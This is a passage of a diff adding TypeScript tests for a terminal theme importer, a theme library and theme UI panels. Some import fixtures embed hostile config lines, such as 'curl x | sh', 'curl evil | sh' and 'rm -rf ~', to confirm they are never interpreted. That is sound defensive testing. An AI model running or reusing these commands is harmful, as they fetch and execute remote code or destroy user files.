"#cdd6f4"\nbackground = "${colors[0]}"\nselection_bg = "#585b70"\ncursor_bg = "#f5e0dc"\nansi = [${colors.slice(0, 8).map(hex => `"${hex}"`).join(', ')}]\nbrights = [${colors.slice(8).map(hex => `"${hex}"`).join(', ')}]\n${extra}`; +const base24 = (overrides: Record = {}) => { + const keys = [...Array.from({length: 16}, (_, index) => `base0${index.toString(16).toUpperCase()}`), ...Array.from({length: 8}, (_, index) => `base1${index}`)]; + const values = ['#282c34', '#3f4451', '#4f5666', '#545862', '#9196a1', '#abb2bf', '#e6e6e6', '#ffffff', '#e06c75', '#d19a66', '#e5c07b', '#98c379', '#56b6c2', '#61afef', '#c678dd', '#be5046', + '#21252b', '#181a1f', '#ff7b86', '#efb074', '#b1e18b', '#63d4e0', '#67cdff', '#e48bff']; + const palette = Object.fromEntries(keys.map((key, index) => [key, values[index]!])); + return `system: "base24"\nname: "One Dark Base24"\nvariant: "dark"\npalette:\n${Object.entries({...palette, ...overrides}).map(([key, value]) => ` ${key}: "${value}"`).join('\n')}\n`; +}; + +test('Kitty: declarative palette imported; includes and non-color directives are not interpreted', () => { + const result = preview(run(kitty(DARK16, 'include ~/.config/kitty/evil.conf\nmap ctrl+t launch rm -rf ~\nshell /bin/sh -c "curl x | sh"\n'), 'mocha.conf')); + assert.equal(result.format, 'kitty'); + assert.equal(result.theme.name, 'Kitty Mocha', 'control characters never reach a name'); + assert.equal(result.theme.terminal?.background, '#1e1e2e'); + assert.equal(result.theme.prompt.failure, '#f38ba8'); + assert.equal(result.theme.dark, true); + assert.ok(result.warnings.some(warning => /include directive was not followed/u.test(warning))); + assert.ok(result.warnings.some(warning => /Non-color Kitty settings were not imported: .*map.*shell/u.test(warning))); + assert.ok(result.warnings.some(warning => /not a lossless conversion/u.test(warning))); + valid(result); + assert.match(errors(run(kitty(DARK16.slice(0, 10)), 'short.conf', 'kitty')), /missing color10/u); + const light = preview(run(kitty(LIGHT16).replace('background #5c5f77', 'background #eff1f5'), 'latte.conf', 'kitty')); + assert.equal(light.theme.dark, false); + assert.ok(light.warnings.some(warning => /light scheme/u.test(warning))); +}); + +test('Ghostty: strict allowlist; unrelated config is ignored and reported; config-file is never followed', () => { + const result = preview(run(ghostty(DARK16, 'font-family = JetBrains Mono\ncommand = /bin/sh -c evil\nconfig-file = ~/.config/ghostty/other\nkeybind = ctrl+a=reload_config\n'), 'Catppuccin Mocha')); + assert.equal(result.format, 'ghostty'); + assert.equal(result.theme.name, 'Catppuccin Mocha'); + assert.ok(result.warnings.some(warning => /config-file includes were not followed/u.test(warning))); + assert.ok(result.warnings.some(warning => /non-color options were ignored: .*font-family.*command.*keybind/u.test(warning))); + assert.deepEqual(result.theme.terminal?.ansi, DARK16); + valid(result); + assert.match(errors(run('background = 000000\nforeground = ffffff\n', 'x', 'ghostty')), /missing color0/u); + assert.match(errors(run(ghostty(DARK16).replace('palette = 3=#f9e2af', 'palette = 3=yellow'), 'named', 'ghostty')), /missing color3/u, 'names are not guessed'); +}); + +test('iTerm2: bounded plist parsing, entities and internal DTD subsets rejected, nothing external resolved', () => { + const result = preview(run(iterm(DARK16), 'Mocha.itermcolors')); + assert.equal(result.format, 'iterm2'); + assert.equal(result.theme.terminal?.ansi[1], '#f38ba8'); + assert.equal(result.theme.terminal?.selectionBackground, '#585b70'); + assert.ok(result.warnings.some(warning => /iTerm2-only colors .*Badge Color/u.test(warning))); + valid(result); + const entity = iterm(DARK16, '\n]>'); + assert.match(errors(run(entity, 'evil.itermcolors')), /entity declarations are not accepted/u); + const bomb = ']>'; + assert.match(errors(run(bomb, 'bomb.itermcolors')), /entity declarations/u); + assert.match(errors(run('Ansi 0 Color', 'broken.itermcolors')), /iTerm2/u); + assert.match(errors(run(iterm(DARK16.slice(0, 15)), 'partial.itermcolors')), /missing color15/u); +}); + +test('WezTerm: declarative TOML accepted; Lua is rejected with guidance and never evaluated', () => { + const result = preview(run(wezterm(DARK16, '[keys]\nleader = "CTRL+a"\n'), 'mocha.toml')); + assert.equal(result.format, 'wezterm'); + assert.equal(result.theme.name, 'Wez Mocha'); + assert.ok(result.warnings.some(warning => /Non-color tables were ignored: keys/u.test(warning))); + valid(result); + for (const [text, file] of [['local wezterm = require "wezterm"\nreturn {color_scheme = "x"}', '.wezterm.lua'], ['return { colors = {} }', 'theme.lua']]) { + assert.equal(errors(run(text, file)), WEZTERM_LUA_GUIDANCE); + } + assert.match(errors(run(wezterm(DARK16).replace(/brights = .*\n/u, ''), 'nobrights.toml', 'wezterm')), /missing color8/u); + assert.match(errors(run('[colors\nbroken', 'bad.toml', 'wezterm')), /Not valid TOML/u); +}); + +test('Oh My Posh JSON/YAML/TOML: literal and static palette colors only; templates, named colors and inheritance warn', () => { + const json = JSON.stringify({$schema: 'https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/main/themes/schema.json', palette: {git: '#ff9248', blue: 'p:git'}, + palettes: {template: '{{ if .Env.DARK }}dark{{ end }}', list: {dark: {git: '#000000'}}}, + blocks: [{type: 'prompt', segments: [ + {type: 'path', style: 'powerline', background: '#61AFEF', foreground: '#ffffff', template: '{{ .Path }}'}, + {type: 'git', background: 'p:blue', background_templates: ['{{ if .Working.Changed }}#ff0000{{ end }}'], foreground_templates: ['{{ .Env.X }}']}, + {type: 'node', background: 'lightGreen'}, + {type: 'command', properties: {command: 'curl evil | sh'}, background: '#123456'}, + {type: 'exit', background: 'p:missing'}, + ]}]}); + const result = preview(run(json, 'my.omp.json')); + assert.equal(result.format, 'oh-my-posh'); + assert.equal(result.theme.prompt.cwd, '#61afef'); + assert.equal(result.theme.prompt.gitBranch, '#ff9248', 'nested static palette references resolve'); + assert.equal(result.theme.prompt.node, builtinTheme('lavender').prompt.node, 'an unresolved named color keeps the base color, never a guess'); + assert.ok(result.warnings.some(warning => /dynamic color template.* ignored/u.test(warning))); + assert.ok(result.warnings.some(warning => /Conditional palettes/u.test(warning))); + assert.ok(result.warnings.some(warning => /not static hex values.*lightGreen.*p:missing/u.test(warning))); + assert.ok(result.warnings.some(warning => /prompt logic, segments and templates are not imported/u.test(warning))); + assert.equal(result.theme.terminal, undefined); + valid(result); + const yaml = `# yaml-language-server: $schema=https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/main/themes/schema.json\npalette:\n accent: "#c678dd"\nblocks:\n - type: prompt\n segments:\n - type: session\n background: p:accent\n - type: python\n background: "#ffd43b"\n`; + const fromYaml = preview(run(yaml, 'theme.omp.yaml')); + assert.equal(fromYaml.theme.prompt.project, '#c678dd'); + assert.equal(fromYaml.theme.prompt.python, '#ffd43b'); + const toml = `"$schema" = "https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/main/themes/schema.json"\nextends = "https://example.com/remote.omp.json"\n[palette]\ngo = "#00add8"\n[[blocks]]\ntype = "prompt"\n[[blocks.segments]]\ntype = "go"\nbackground = "p:go"\n`; + const fromToml = preview(run(toml, 'theme.omp.toml')); + assert.equal(fromToml.theme.prompt.go, '#00add8'); + assert.ok(fromToml.warnings.some(warning => /Inherited or remote configuration is never fetched/u.test(warning))); + assert.match(errors(run(JSON.stringify({blocks: [{segments: [{type: 'path', background: '{{ .Env.COLOR }}'}]}]}), 'dynamic.omp.json')), /No static Oh My Posh segment colors/u); +}); + +test('Base24: all 24 slots required, spec ANSI mapping, nothing guessed', () => { + const result = preview(run(base24(), 'one-dark.yaml')); + assert.equal(result.format, 'base24'); + assert.equal(result.theme.name, 'One Dark Base24'); + assert.deepEqual(result.theme.terminal?.ansi.slice(0, 2), ['#282c34', '#e06c75'], 'color0 = base00, color1 = base08'); + assert.equal(result.theme.terminal?.ansi[9], '#ff7b86', 'bright red = base12'); + assert.equal(result.theme.terminal?.ansi[12], '#67cdff', 'bright blue = base16'); + valid(result); + const missing = base24({base17: 'not-a-color'}); + assert.match(errors(run(missing, 'broken.yaml', 'base24')), /missing base17/u); +}); + +test('Base16, Windows Terminal and NMSh JSON keep their behavior', () => { + const base16 = 'scheme: "Tomorrow Night"\n' + ['1d1f21', '282a2e', '373b41', '969896', 'b4b7b4', 'c5c8c6', 'e0e0e0', 'ffffff', 'cc6666', 'de935f', 'f0c674', 'b5bd68', '8abeb7', '81a2be', 'b294bb', 'a3685a'] + .map((hex, index) => `base0${index.toString(16).toUpperCase()}: "${hex}"`).join('\n'); + const b16 = preview(run(base16, 'tomorrow.yaml')); + assert.equal(b16.format, 'base16'); + assert.equal(b16.theme.prompt.failure, '#cc6666'); + const keys = ['black', 'red', 'green', 'yellow', 'blue', 'purple', 'cyan', 'white', 'brightBlack', 'brightRed', 'brightGreen', 'brightYellow', 'brightBlue', 'brightPurple', 'brightCyan', 'brightWhite']; + const wt = preview(run(JSON.stringify({name: 'Campbell', background: '#0c0c0c', foreground: '#cccccc', ...Object.fromEntries(keys.map((key, index) => [key, DARK16[index]]))}), 'campbell.json')); + assert.equal(wt.format, 'windows-terminal'); + assert.equal(wt.theme.terminal?.background, '#0c0c0c'); + const native = preview(run(JSON.stringify(builtinTheme('nord')).replace('"Nord"', '"Nord copy"'), 'x.json')); + assert.equal(native.format, 'nmsh'); + assert.match(errors(run('{"schema":"nmsh-theme","version":1,"name":"x","prompt":{},"ui":{}}', 'bad.json')), /prompt\.project/u); +}); + +test('bounded and binary input; unknown formats are refused with the supported list', () => { + assert.match(errors(run('x'.repeat(IMPORT_SIZE_LIMIT + 1), 'big.conf')), /larger than 256 KiB/u); + assert.match(errors(run('a\u0000b', 'bin')), /Binary/u); + assert.match(errors(run('just some words\nnothing here', 'notes.txt')), /not a recognized theme format/u); + assert.match(errors(run('a: [unclosed', 'bad.yaml')), /not a recognized theme format/u); +}); diff --git a/tests/themeLibrary.test.ts b/tests/themeLibrary.test.ts new file mode 100644 index 00000000..3fdb38a5 --- /dev/null +++ b/tests/themeLibrary.test.ts @@ -0,0 +1,171 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, readFileSync, rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration, savePromptConfiguration, loadPromptConfiguration, type PromptConfiguration} from '../src/prompt/configuration.js'; +import { + categoryOf, LEGACY_THEME_ID, librarySummary, normalizeThemeLibrary, provenanceLabel, THEME_LIBRARY_LIMIT, uniqueThemeName, +} from '../src/appearance/themeLibrary.js'; +import {addTheme, deleteCheck, deleteTheme, duplicateBuiltin, duplicateTheme, renameTheme, saveTheme, setActiveTheme} from '../src/appearance/themeLibraryActions.js'; +import {activeThemeRef, assetRef, builtinRef, builtinTheme, parseThemeRef, selectableThemes, themeForRef} from '../src/appearance/themeRefs.js'; +import {resolveSemanticPalette} from '../src/appearance/semanticPalette.js'; +import {exportTheme, type CustomTheme} from '../src/appearance/customTheme.js'; +import {exportSettings} from '../src/configuration/portability.js'; +import {writeThemeExport} from '../src/appearance/ThemeStudio.js'; +import {currentSelectionFamily, selectionFamilies, selectionVariants, selectSelectionFamily} from '../src/appearance/themeSelection.js'; + +const base = (): PromptConfiguration => structuredClone(DEFAULT_PROMPT_CONFIGURATION); +const theme = (name: string, project = '#123456'): CustomTheme => ({...builtinTheme('nord'), name, prompt: {...builtinTheme('nord').prompt, project}}); +const ok = (result: T): Extract => { assert.ok(result.ok, JSON.stringify(result)); return result as Extract; }; +const ORIGIN = {kind: 'ghostty' as const, sourceName: 'Mocha', sourcePath: '/Users/someone/private/themes/mocha', importerVersion: 2, importedAt: '2026-10-05T00:00:00.000Z'}; + +test('migration: a valid legacy customTheme becomes one active Custom asset; nothing is lost', () => { + const legacy = theme('Mine'); + const migrated = normalizePromptConfiguration({customTheme: legacy, nmsh: {palette: 'custom'}}); + assert.equal(migrated.themes.length, 1); + assert.equal(migrated.themes[0]!.id, LEGACY_THEME_ID); + assert.equal(categoryOf(migrated.themes[0]!), 'custom'); + assert.equal(migrated.nmsh.palette, 'custom', 'it stays active'); + assert.equal(migrated.nmsh.themeId, LEGACY_THEME_ID); + assert.deepEqual(migrated.customTheme, migrated.themes[0]!.theme, 'the mirror is the active asset'); + // Inactive legacy theme: kept, built-in stays active. + const inactive = normalizePromptConfiguration({customTheme: legacy, nmsh: {palette: 'nord'}}); + assert.equal(inactive.nmsh.palette, 'nord'); + assert.equal(inactive.themes[0]!.theme.name, 'Mine'); + // Idempotent: normalizing again keeps the same stable id. + assert.deepEqual(normalizePromptConfiguration(migrated).themes, migrated.themes); + // Malformed legacy data falls back safely. + const broken = normalizePromptConfiguration({customTheme: {schema: 'nmsh-theme', version: 1, name: 'x', prompt: {}, ui: {}}, nmsh: {palette: 'custom'}}); + assert.equal(broken.themes.length, 0); + assert.equal(broken.nmsh.palette, 'lavender'); +}); + +test('library is canonical: the mirror follows the asset, a stale stored customTheme is ignored once a library exists', () => { + const config = ok(addTheme(base(), theme('A'), undefined, true)).config; + const stale = normalizePromptConfiguration({...config, customTheme: theme('Stale', '#000000')}); + assert.equal(stale.customTheme?.name, 'A'); + const dir = mkdtempSync(join(tmpdir(), 'nmsh-lib-')); + try { + const path = join(dir, 'config.json'); + savePromptConfiguration(config, path); + const loaded = loadPromptConfiguration(path); + assert.deepEqual(loaded.themes, config.themes); + assert.equal(loaded.nmsh.themeId, config.nmsh.themeId); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); + +test('multiple Custom and Imported themes: stable ids, categories, unique names, selection by id', () => { + let config = base(); + const ids: string[] = []; + for (const [name, origin] of [['One', undefined], ['Two', undefined], ['Imp', ORIGIN], ['Imp', ORIGIN]] as const) { + const result = ok(addTheme(config, theme(name), origin)); + config = result.config; + ids.push(result.id!); + } + assert.equal(new Set(ids).size, 4); + assert.ok(ids.every(id => /^t-[0-9a-f]{12}$/u.test(id))); + assert.deepEqual(config.themes.map(asset => categoryOf(asset)), ['custom', 'custom', 'imported', 'imported']); + assert.deepEqual(config.themes.map(asset => asset.theme.name), ['One', 'Two', 'Imp', 'Imp 2'], 'display names are unique but never identity'); + assert.equal(librarySummary(config.themes), '2 imported · 2 custom'); + config = ok(setActiveTheme(config, assetRef(ids[2]!))).config; + assert.equal(activeThemeRef(config), assetRef(ids[2]!)); + assert.equal(config.customTheme?.name, 'Imp'); + config = ok(renameTheme(config, ids[2]!, 'Renamed')).config; + assert.equal(config.themes.find(asset => asset.id === ids[2])?.theme.name, 'Renamed', 'rename keeps the id'); + assert.equal(activeThemeRef(config), assetRef(ids[2]!), 'selection survives a rename'); + assert.equal(uniqueThemeName(config.themes, 'one'), 'one 2'); +}); + +test('imported themes are Native: editing marks Modified; duplicate is Custom; selectable everywhere', () => { + let config = ok(addTheme(base(), theme('Mocha'), ORIGIN)).config; + const id = config.themes[0]!.id; + assert.equal(provenanceLabel(config.themes[0]!), 'Imported from Ghostty · Mocha'); + config = ok(saveTheme(config, id, {...config.themes[0]!.theme, prompt: {...config.themes[0]!.theme.prompt, gitBranch: '#ff0000'}})).config; + assert.equal(config.themes[0]!.modified, true); + assert.equal(provenanceLabel(config.themes[0]!), 'Imported from Ghostty · Mocha · Modified'); + const copy = ok(duplicateTheme(config, id)); + assert.equal(categoryOf(copy.config.themes.find(asset => asset.id === copy.id)!), 'custom'); + assert.equal(copy.config.themes.find(asset => asset.id === copy.id)!.theme.basedOn, 'Mocha'); + const refs = selectableThemes(copy.config); + assert.ok(refs.some(item => item.category === 'imported' && item.ref === assetRef(id))); + assert.ok(refs.some(item => item.category === 'custom')); + assert.ok(refs.some(item => item.category === 'builtin' && item.ref === 'builtin:gruvboxDark')); + const fromBuiltin = ok(duplicateBuiltin(copy.config, builtinRef('gruvboxDark'))); + assert.equal(fromBuiltin.config.themes.at(-1)!.theme.name, 'My Gruvbox Dark'); +}); + +test('portable exports never leak the local source path', () => { + const config = ok(addTheme(base(), theme('Mocha'), ORIGIN)).config; + const asset = config.themes[0]!; + assert.doesNotMatch(exportTheme(asset.theme), /private|sourcePath|\/Users\//u); + const dir = mkdtempSync(join(tmpdir(), 'nmsh-export-')); + try { + const path = writeThemeExport(asset.theme, dir); + assert.doesNotMatch(readFileSync(path, 'utf8'), /sourcePath|private/u); + } finally { rmSync(dir, {recursive: true, force: true}); } + const settings = JSON.stringify(exportSettings(config, ['theme'])); + assert.doesNotMatch(settings, /sourcePath|\/Users\/someone/u, 'settings transfer drops the path'); + assert.match(settings, /"kind":"ghostty"/u, 'non-sensitive provenance kind is kept'); +}); + +test('deleting: the active theme is refused; Theme Bridge pins block until confirmed, then become Independent', () => { + let config = ok(addTheme(base(), theme('Pinned'))).config; + const id = config.themes[0]!.id; + config = ok(setActiveTheme(config, assetRef(id))).config; + assert.equal(deleteTheme(config, id).ok, false, 'active theme is never deleted'); + config = ok(setActiveTheme(config, 'builtin:nord')).config; + config.themeBridge = {enabled: true, targets: {...config.themeBridge.targets, tmux: {mode: 'choose', theme: assetRef(id)}, vim: {mode: 'follow'}}}; + assert.deepEqual(deleteCheck(config, id).pinned, ['tmux']); + const blocked = deleteTheme(config, id); + assert.equal(blocked.ok, false); + assert.match(blocked.ok ? '' : blocked.error, /tmux is pinned/u); + const deleted = ok(deleteTheme(config, id, true)); + assert.equal(deleted.config.themes.length, 0); + assert.deepEqual(deleted.config.themeBridge.targets.tmux, {mode: 'independent'}, 'Independent, never another theme'); + assert.equal(deleted.config.themeBridge.targets.vim.mode, 'follow', 'other targets untouched'); + assert.equal(resolveSemanticPalette(assetRef(id), deleted.config).ok, false, 'the old reference resolves to nothing'); +}); + +test('missing references are reported, never replaced; bad refs are rejected', () => { + assert.deepEqual(themeForRef('asset:t-000000000000', {themes: []}), {ok: false, reason: 'missing'}); + assert.deepEqual(themeForRef('builtin:notATheme', {themes: []}), {ok: false, reason: 'invalid'}); + assert.equal(parseThemeRef('asset:../../etc'), undefined); + assert.deepEqual(parseThemeRef('builtin:catppuccinMocha@peach'), {kind: 'builtin', palette: 'catppuccinMocha', accent: 'peach'}); + assert.equal(builtinRef('catppuccinMocha', 'mauve'), 'builtin:catppuccinMocha', 'the default accent is implicit'); + assert.equal(builtinRef('nord', 'peach'), 'builtin:nord', 'accents only apply to accented families'); +}); + +test('malformed library entries are dropped individually; the library is bounded', () => { + const good = {id: 't-aaaaaaaaaaaa', theme: theme('Good')}; + const library = normalizeThemeLibrary([good, {id: 'bad id!', theme: theme('X')}, {id: 't-bbbbbbbbbbbb', theme: {name: 'broken'}}, good, 'nope'], undefined, 't-aaaaaaaaaaaa'); + assert.deepEqual(library.themes.map(asset => asset.id), ['t-aaaaaaaaaaaa']); + assert.equal(library.themeId, 't-aaaaaaaaaaaa'); + const many = Array.from({length: THEME_LIBRARY_LIMIT + 10}, (_, index) => ({id: `t-${index.toString(16).padStart(12, '0')}`, theme: theme(`T${index}`)})); + assert.equal(normalizeThemeLibrary(many, undefined, undefined).themes.length, THEME_LIBRARY_LIMIT); + let config = normalizePromptConfiguration({themes: many}); + const full = addTheme(config, theme('One more')); + assert.equal(full.ok, false); + assert.match(full.ok ? '' : full.error, /library is full/u); + config = normalizePromptConfiguration({themes: [{id: 't-cccccccccccc', theme: theme('A'), origin: {kind: 'evil'}, modified: true}]}); + assert.equal(categoryOf(config.themes[0]!), 'custom', 'an unknown origin kind is not provenance'); + assert.equal(config.themes[0]!.modified, undefined); +}); + +test('Setup/Settings selection: built-in families, Imported and Custom groups, variants by stable id', () => { + let config = ok(addTheme(base(), theme('Custom A'))).config; + config = ok(addTheme(config, theme('Imported B'), ORIGIN)).config; + const families = selectionFamilies(config); + assert.ok(families.includes('nmsh') && families.includes('gruvbox')); + assert.deepEqual(families.slice(-2), ['imported', 'custom']); + config = selectSelectionFamily(config, 'imported'); + assert.equal(currentSelectionFamily(config), 'imported'); + assert.equal(config.nmsh.palette, 'custom'); + assert.equal(config.customTheme?.name, 'Imported B'); + const variants = selectionVariants(config, 'custom'); + config = variants[0]!.apply(config); + assert.equal(currentSelectionFamily(config), 'custom'); + config = selectSelectionFamily(config, 'gruvbox'); + assert.equal(config.nmsh.palette, 'gruvboxDark'); + assert.equal(config.themes.length, 2, 'selection never deletes or copies library themes'); +}); diff --git a/tests/themeUi.test.ts b/tests/themeUi.test.ts new file mode 100644 index 00000000..7b66ed3b --- /dev/null +++ b/tests/themeUi.test.ts @@ -0,0 +1,227 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync} from 'node:fs'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import type {TerminalFrame} from '../src/terminal/TerminalRenderer.js'; +import {DEFAULT_PROMPT_CONFIGURATION, loadPromptConfiguration, normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {applyUiTheme} from '../src/appearance/uiTheme.js'; +import {createThemeStudio, renderThemeStudio, studioKey, STUDIO_TABS, type StudioContext} from '../src/appearance/ThemeStudio.js'; +import {builtinTheme} from '../src/appearance/themeRefs.js'; +import type {ThemeAsset} from '../src/appearance/themeLibrary.js'; +import {createThemeBridgePanel, panelItems, renderThemeBridgePanel, themeBridgeKey, type BridgePanelContext} from '../src/themeBridge/ThemeBridgePanel.js'; +import {BRIDGE_TARGETS} from '../src/themeBridge/model.js'; +import type {TargetReport} from '../src/themeBridge/runtime.js'; +import {createSetup, renderSetup, sectionIndex, setupKey} from '../src/setup/SetupCat.js'; +import {parseSlashCommand} from '../src/commands/slashCommands.js'; +import {bridgeEnvPath} from '../src/themeBridge/environment.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +const plain = (rows: string[]) => rows.map(stripAnsi).join('\n'); +const assets: ThemeAsset[] = [ + {id: 't-aaaaaaaaaaaa', theme: {...builtinTheme('dracula'), name: 'My Dracula'}}, + {id: 't-bbbbbbbbbbbb', theme: {...builtinTheme('nord'), name: 'Mocha (Ghostty)'}, origin: {kind: 'ghostty', sourceName: 'Mocha', sourcePath: '/secret/path'}, modified: true}, +]; +const context = (overrides: Partial = {}): StudioContext => ({themes: assets, accent: 'mauve', activeRef: 'builtin:lavender', pinnedTo: () => [], ...overrides}); + +test('/theme: shared tab strip Built-in | Imported | Custom | Import; ←→ switch tabs; ↑ at the top focuses the tabs', () => { + assert.deepEqual([...STUDIO_TABS], ['Built-in', 'Imported', 'Custom', 'Import']); + const state = createThemeStudio(context()); + const first = plain(renderThemeStudio(state, context(), 100, 40, 'truecolor', [])); + assert.match(first, /Built-in\s+Imported\s+Custom\s+Import/u); + assert.match(first, /Lavender Native.*● active/u); + assert.match(first, /Built-ins are immutable/u); + studioKey(state, {kind: 'right'}, 'truecolor', '/', context()); + assert.equal(state.tab, 'imported'); + const imported = plain(renderThemeStudio(state, context(), 100, 40, 'truecolor', [])); + assert.match(imported, /Mocha \(Ghostty\)/u); + assert.match(imported, /Imported from Ghostty · Mocha · Modified/u); + assert.doesNotMatch(imported, /secret/u, 'local source paths are not displayed in the list'); + studioKey(state, {kind: 'up'}, 'truecolor', '/', context()); + assert.equal(state.focus, 'tabs'); + studioKey(state, {kind: 'down'}, 'truecolor', '/', context()); + assert.equal(state.focus, 'list'); + studioKey(state, {kind: 'right'}, 'truecolor', '/', context()); + assert.equal(state.tab, 'custom'); + assert.match(plain(renderThemeStudio(state, context(), 100, 40, 'truecolor', [])), /+ New custom theme[\s\S]*My Dracula/u); +}); + +test('/theme actions: set active, edit (same editor for Imported and Custom), rename, duplicate, export, delete with confirmation', () => { + const ctx = context({pinnedTo: ref => ref === 'asset:t-bbbbbbbbbbbb' ? ['tmux'] : []}); + const state = createThemeStudio(ctx, 'imported'); + assert.deepEqual(studioKey(state, {kind: 'enter'}, 'truecolor', '/', ctx), {kind: 'activate', ref: 'asset:t-bbbbbbbbbbbb'}); + studioKey(state, {kind: 'text', value: 'e'}, 'truecolor', '/', ctx); + assert.ok(state.editor); + assert.match(plain(renderThemeStudio(state, ctx, 100, 40, 'truecolor', [])), /Edit · Mocha \(Ghostty\)[\s\S]*Imported from Ghostty/u); + studioKey(state, {kind: 'escape'}, 'truecolor', '/', ctx); + assert.equal(state.editor, undefined, 'Esc leaves the editor without saving'); + studioKey(state, {kind: 'text', value: 'n'}, 'truecolor', '/', ctx); + for (const _ of 'Mocha (Ghostty)') studioKey(state, {kind: 'backspace'}, 'truecolor', '/', ctx); + for (const character of 'Night') studioKey(state, {kind: 'text', value: character}, 'truecolor', '/', ctx); + assert.deepEqual(studioKey(state, {kind: 'enter'}, 'truecolor', '/', ctx), {kind: 'rename', id: 't-bbbbbbbbbbbb', name: 'Night'}); + assert.deepEqual(studioKey(state, {kind: 'text', value: 'd'}, 'truecolor', '/', ctx), {kind: 'duplicate', id: 't-bbbbbbbbbbbb'}); + assert.deepEqual(studioKey(state, {kind: 'text', value: 'x'}, 'truecolor', '/', ctx), {kind: 'export', id: 't-bbbbbbbbbbbb'}); + studioKey(state, {kind: 'delete'}, 'truecolor', '/', ctx); + assert.match(plain(renderThemeStudio(state, ctx, 100, 40, 'truecolor', [])), /tmux is pinned to it and will become Independent/u); + assert.deepEqual(studioKey(state, {kind: 'enter'}, 'truecolor', '/', ctx), {kind: 'delete', id: 't-bbbbbbbbbbbb', confirmIndependent: true}); + const active = context({activeRef: 'asset:t-aaaaaaaaaaaa'}); + const custom = createThemeStudio(active, 'custom'); + custom.selected.custom = 2; + studioKey(custom, {kind: 'delete'}, 'truecolor', '/', active); + assert.equal(custom.confirmDelete, undefined); + assert.match(custom.message ?? '', /active theme/u); + const builtin = createThemeStudio(context()); + assert.deepEqual(studioKey(builtin, {kind: 'text', value: 'd'}, 'truecolor', '/', context()), {kind: 'duplicateBuiltin', ref: 'builtin:lavender'}); +}); + +test('/theme Import tab: format chooser and path; cancel stores nothing', () => { + const state = createThemeStudio(context(), 'import'); + assert.equal(state.importField, 'path'); + studioKey(state, {kind: 'up'}, 'truecolor', '/', context()); + assert.equal(state.importField, 'format'); + studioKey(state, {kind: 'right'}, 'truecolor', '/', context()); + assert.match(plain(renderThemeStudio(state, context(), 100, 40, 'truecolor', [])), /Format\s+‹ NMSh Theme JSON ›/u); + studioKey(state, {kind: 'down'}, 'truecolor', '/', context()); + for (const character of '/nonexistent/theme.conf') studioKey(state, {kind: 'text', value: character}, 'truecolor', '/', context()); + assert.equal(studioKey(state, {kind: 'enter'}, 'truecolor', '/', context()), undefined); + assert.match(state.message ?? '', /Could not read/u); + state.importPreview = {format: 'kitty', theme: builtinTheme('nord'), mapping: [{role: 'Project', from: 'magenta (color5)'}], warnings: ['lossy'], path: '/x'}; + assert.match(plain(renderThemeStudio(state, context(), 100, 40, 'truecolor', [])), /Import preview · Nord[\s\S]*Project\s+← magenta[\s\S]*• lossy/u); + assert.equal(studioKey(state, {kind: 'escape'}, 'truecolor', '/', context()), undefined); + assert.equal(state.importPreview, undefined); + assert.match(state.message ?? '', /nothing was saved/u); +}); + +test('/theme and /theme-bridge fit short and narrow terminals', () => { + for (const [columns, height] of [[56, 14], [60, 18], [120, 50]] as const) { + for (const tab of ['builtin', 'imported', 'custom', 'import'] as const) { + const rows = renderThemeStudio(createThemeStudio(context(), tab), context(), columns, height, 'truecolor', [' preview row']); + assert.ok(rows.length <= height, `${tab} ${columns}x${height}`); + assert.ok(rows.every(row => displayWidth(row) <= columns)); + } + const panel = renderThemeBridgePanel(createThemeBridgePanel(), bridgeContext(), columns, height); + assert.ok(panel.length <= height && panel.every(row => displayWidth(row) <= columns)); + } +}); + +function bridgeContext(enabled = false, policy: 'manual' | 'follow' | 'choose' = 'manual'): BridgePanelContext { + const reports: TargetReport[] = BRIDGE_TARGETS.map(target => ({target, label: target, capability: target === 'delta' ? 'detected' : ['fzf', 'pager', 'lsColors'].includes(target) ? 'direct' : 'managed', + mode: 'independent', modes: target === 'delta' ? ['independent'] : ['independent', 'follow', 'choose'], editable: target !== 'delta' && policy === 'manual', inherited: enabled && policy !== 'manual' && target !== 'delta', + status: target === 'delta' ? 'Not managed' : 'Detected', notes: target === 'delta' ? ['delta is shown for status only'] : []})); + return {enabled, policy, reports, themes: [{ref: 'builtin:lavender', label: 'Lavender Native', category: 'builtin'}, {ref: 'builtin:nord', label: 'Nord', category: 'builtin'}], + pinned: () => undefined, activeRef: 'builtin:lavender', managed: () => undefined}; +} + +const itemIndex = (state: ReturnType, context: BridgePanelContext, match: (item: ReturnType[number]) => boolean) => panelItems(state, context).findIndex(match); + +test('/theme-bridge: one panel; switch, Apply themes policy, inline expansion, Esc collapses first, read-only rows, delta not editable', () => { + const state = createThemeBridgePanel(); + const off = bridgeContext(); + const text = plain(renderThemeBridgePanel(state, off, 120, 60)); + assert.match(text, /Theme Bridge\s+‹ Off ›/u); + assert.match(text, /Direct and environment[\s\S]*fzf[\s\S]*Managed themes[\s\S]*tmux[\s\S]*Detected only[\s\S]*delta/u); + assert.deepEqual(themeBridgeKey(state, {kind: 'enter'}, off), {kind: 'setEnabled', enabled: true}); + const on = bridgeContext(true); + state.selected = itemIndex(state, on, item => item.kind === 'policy'); + assert.deepEqual(themeBridgeKey(state, {kind: 'right'}, on), {kind: 'setPolicy', policy: 'follow'}); + // Inline expansion keeps the whole list visible. + state.selected = itemIndex(state, on, item => item.kind === 'target' && item.target === 'fzf'); + themeBridgeKey(state, {kind: 'enter'}, on); + assert.equal(state.expanded, 'fzf'); + const expanded = plain(renderThemeBridgePanel(state, on, 120, 60)); + assert.match(expanded, /▾ fzf[\s\S]*Mode[\s\S]*pager[\s\S]*helix[\s\S]*delta/u, 'details inline; other targets still listed'); + state.selected = itemIndex(state, on, item => item.kind === 'detail' && item.row === 'mode'); + assert.deepEqual(themeBridgeKey(state, {kind: 'right'}, on), {kind: 'setMode', target: 'fzf', mode: 'follow'}); + const following = {...on, reports: on.reports.map(report => report.target === 'fzf' ? {...report, mode: 'follow' as const} : report)}; 